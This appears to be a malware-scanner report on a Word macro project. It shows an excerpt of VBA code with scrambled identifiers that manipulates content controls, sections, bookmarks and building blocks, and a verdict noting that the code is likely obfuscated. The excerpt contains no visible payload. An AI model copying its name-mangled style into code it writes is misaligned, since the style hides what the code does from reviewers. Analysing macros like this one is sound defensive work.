Set KursUXsvIZAAcipvNhqLafGCExzqkVv = doc.SelectContentControlsByTag(uMHBQbtRJonAWcLd)
If KursUXsvIZAAcipvNhqLafGCExzqkVv.Count = 0 Then
Exit Function
End If
Set DJyTKQKEIVGrjuuKqEncMcTvnYcz = KursUXsvIZAAcipvNhqLafGCExzqkVv(1)
If DJyTKQKEIVGrjuuKqEncMcTvnYcz.Range.Sections.Count <> 1 Then
Exit Function
End If
If DJyTKQKEIVGrjuuKqEncMcTvnYcz.Range.Sections(1).index <> 1 Then
Exit Function
End If
With DJyTKQKEIVGrjuuKqEncMcTvnYcz
.LockContentControl = False
.LockContents = False
.Delete DeleteContents:=True
End With
If doc.Sections.Count < 2 Then
Exit Function
End If
doc.Sections.First.Range.Delete
PFJXPOWcdtecafCZvqQ = True
End Function
#End If
Private Function DYacNIxAkZMggfYWz(NRplkbwWTJEtnNZCPkSKtFuZcjhD As Word.Range) As Boolean
If NRplkbwWTJEtnNZCPkSKtFuZcjhD.Tables.Count = 1 Then
DYacNIxAkZMggfYWz = NRplkbwWTJEtnNZCPkSKtFuZcjhD.IsEqual(NRplkbwWTJEtnNZCPkSKtFuZcjhD.Tables(1).Range)
Else
DYacNIxAkZMggfYWz = False
End If
End Function
Private Function qVEvPOpFAYZcZyX(doc As Word.Document, hGioKuViSJZsqyoMIgDAMggyqor As String) As Word.Bookmark
Dim bkm As Word.Bookmark
Dim gJEOzObCdwfFxay As Word.Section
Dim NLonBBSScsAPPEFmxav As Word.HeaderFooter
Set bkm = Nothing
On Error Resume Next
Set bkm = doc.Range.Bookmarks(hGioKuViSJZsqyoMIgDAMggyqor)
On Error GoTo 0
If Not bkm Is Nothing Then
GoTo UbPWwGGQV
End If
For Each gJEOzObCdwfFxay In doc.Sections
For Each NLonBBSScsAPPEFmxav In gJEOzObCdwfFxay.Headers
If Not NLonBBSScsAPPEFmxav.LinkToPrevious Then
Set bkm = Nothing
On Error Resume Next
Set bkm = NLonBBSScsAPPEFmxav.Range.Bookmarks(hGioKuViSJZsqyoMIgDAMggyqor)
On Error GoTo 0
If Not bkm Is Nothing Then
GoTo UbPWwGGQV
End If
End If
Next NLonBBSScsAPPEFmxav
For Each NLonBBSScsAPPEFmxav In gJEOzObCdwfFxay.Footers
If Not NLonBBSScsAPPEFmxav.LinkToPrevious Then
Set bkm = Nothing
On Error Resume Next
Set bkm = NLonBBSScsAPPEFmxav.Range.Bookmarks(hGioKuViSJZsqyoMIgDAMggyqor)
On Error GoTo 0
If Not bkm Is Nothing Then
GoTo UbPWwGGQV
End If
End If
Next NLonBBSScsAPPEFmxav
Next gJEOzObCdwfFxay
UbPWwGGQV:
Set qVEvPOpFAYZcZyX = bkm
End Function
Private Function yRXuwiG(doc As Word.Document, kLTjhaWDKGzQnjrcIbYUYLmnETV As String) As Word.BuildingBlock
Dim qzRyWiF As Word.BuildingBlock
Dim dyJtlcWXToekhJsji As Word.Template
Set yRXuwiG = Nothing
Set qzRyWiF = Nothing
On Error Resume Next
Set qzRyWiF = doc.AttachedTemplate.BuildingBlockEntries(kLTjhaWDKGzQnjrcIbYUYLmnETV)
On Error GoTo 0
If qzRyWiF Is Nothing Then
On Error Resume Next
…
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 432640 bytes
SHA-256: 7ccdce0d3db7d8ac0d05c4f9e10dda26b7ec9406c1b104deabe961c206fa53e9
Detection
ClamAV: No threats found
Obfuscation or payload: likely
2194 of 3563 identifiers look randomly generated (e.g. 'cSettingsLintMenuAfterNieuwWordDocOnDocN') — consistent with name-mangling obfuscation.